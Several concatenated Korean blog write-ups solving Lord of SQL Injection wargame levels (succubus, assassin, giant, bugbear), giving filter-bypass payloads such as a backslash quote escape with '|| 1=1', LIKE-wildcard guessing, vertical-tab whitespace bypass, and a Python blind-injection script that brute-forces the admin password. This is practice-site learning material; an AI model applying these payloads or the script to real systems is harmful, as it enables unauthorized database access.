id와 pw가 preg_match함수 통해 prob _ . ' 을 필터링하고 있다.

특히, 싱글쿼터를 우회해야 하는 것이 중요하다.

 

싱글쿼터를 우회하기 위해서는 역슬래시(\)를 이용해줄 수 있다.

'\'을 사용해 이 다음에 오는 문자가 특수 문자임을 알 수 있다.

 

id에 역슬래시를 넣어주고, pw 값을 항상 참으로 만들어주면 된다. 따라서 아래와 같이 입력해주었다.

id=\&pw= || 1=1%23

 

'Web Hacking > Lord of SQL Injection' 카테고리의 다른 글

[Lord of SQL Injection] assassin  (0) 2022.11.12
[Lord of SQL Injection] Giant  (0) 2022.11.06
[Lord of SQL Injection] Bugbear  (0) 2022.10.09
[Lord of SQL Injection] darkknight  (0) 2022.10.02
[Lord of SQL Injection] Golem  (0) 2022.09.24

pw에 preg_match 함수를 통해 싱글쿼터(')가 필터링되어 있다.

 

%(퍼센트), _(언더스코어) 와일드 카드 
- % : 아무 문자열(빈 문자열 포함) 대체 와일드 카드
- _ : 단일문자 대체 와일드 카드 (언더스코어 하나 당 문자 하나를 의미)
ex1) k% : k로 시작하는 문자열
ex2) %k% : k가 들어가는 문자열
ex3) k__ : k로 시작하는 세글자 문자열

 

이와 같이 ?pw=9%라고 해주었더니 pw 첫번째 자리가 9임을 알 수 있었다.

 

이런식으로 브루트 포스를 통해 숫자값을 대입해준다.

 

?pw=902% 를 입력하였을 때, Hello guest가 아닌 Hello admin이 출력되며 Clear할 수 있었다.90까지는 guest와 pw가 동일했는데 2부터 달라진다고 볼 수 있을 것 같다.

 

 

 

'Web Hacking > Lord of SQL Injection' 카테고리의 다른 글

[Lord of SQL Injection] succubus  (0) 2022.11.19
[Lord of SQL Injection] Giant  (0) 2022.11.06
[Lord of SQL Injection] Bugbear  (0) 2022.10.09
[Lord of SQL Injection] darkknight  (0) 2022.10.02
[Lord of SQL Injection] Golem  (0) 2022.09.24

shit는 공백, \n, \r, \t가 필터링되어 있으며, 길이가 1보다 길면 안된다.

이 필터링을 우회하기 위해 %0b, %0c와 같은 문자를 이용해보자

 

?shit=%0b 를 입력해주었더니 다음과 같이 문제를 해결할 수 있었다.

'Web Hacking > Lord of SQL Injection' 카테고리의 다른 글

[Lord of SQL Injection] succubus  (0) 2022.11.19
[Lord of SQL Injection] assassin  (0) 2022.11.12
[Lord of SQL Injection] Bugbear  (0) 2022.10.09
[Lord of SQL Injection] darkknight  (0) 2022.10.02
[Lord of SQL Injection] Golem  (0) 2022.09.24

pw에서 싱글쿼터의 입력을 막아두었고,

no에서는 substr, ascii, =, or, and, like, 0x, 공백의 입력을 막아두고 있다.

 

위와 같은 쿼리를 통해 패스워드의 길이가 8임을 알 수 있었다.

?no=1%09||%09id%09in%09("admin")%26%26length(pw)%09in%09(8)

 

아래는 비밀번호 구하는 자동화 스크립트이다.

ascii를 사용하지 못하기 때문에 hex를 이용해주었다.

import requests

url="https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?"
cookies = {'PHPSESSID' : '4mq62u7cdjpstq522icoooqir5'}

arr=[]    
for k in range(1,9):
    for j in range(32,127):
        val='no=1%0a%7c%7c%0aid%0ain%0a("admin")%26%26mid(pw,'+str(k)+',1)%0ain%0a("'+chr(j)+'")'
        res=requests.get(url+val, cookies=cookies)
        if "Hello admin" in res.text:
            arr.append(chr(j))
            print(arr)
            break
print("password=",arr)

 

이 비밀번호를 이용해 ?pw=52dc3991를 입력해주었더니 아래와 같이 Clear하였다.

'Web Hacking > Lord of SQL Injection' 카테고리의 다른 글

[Lord of SQL Injection] assassin  (0) 2022.11.12
[Lord of SQL Injection] Giant  (0) 2022.11.06
[Lord of SQL Injection] darkknight  (0) 2022.10.02
[Lord of SQL Injection] Golem  (0) 2022.09.24
[Lord of SQL Injection] Skeleton  (0) 2022.09.18

+ Recent posts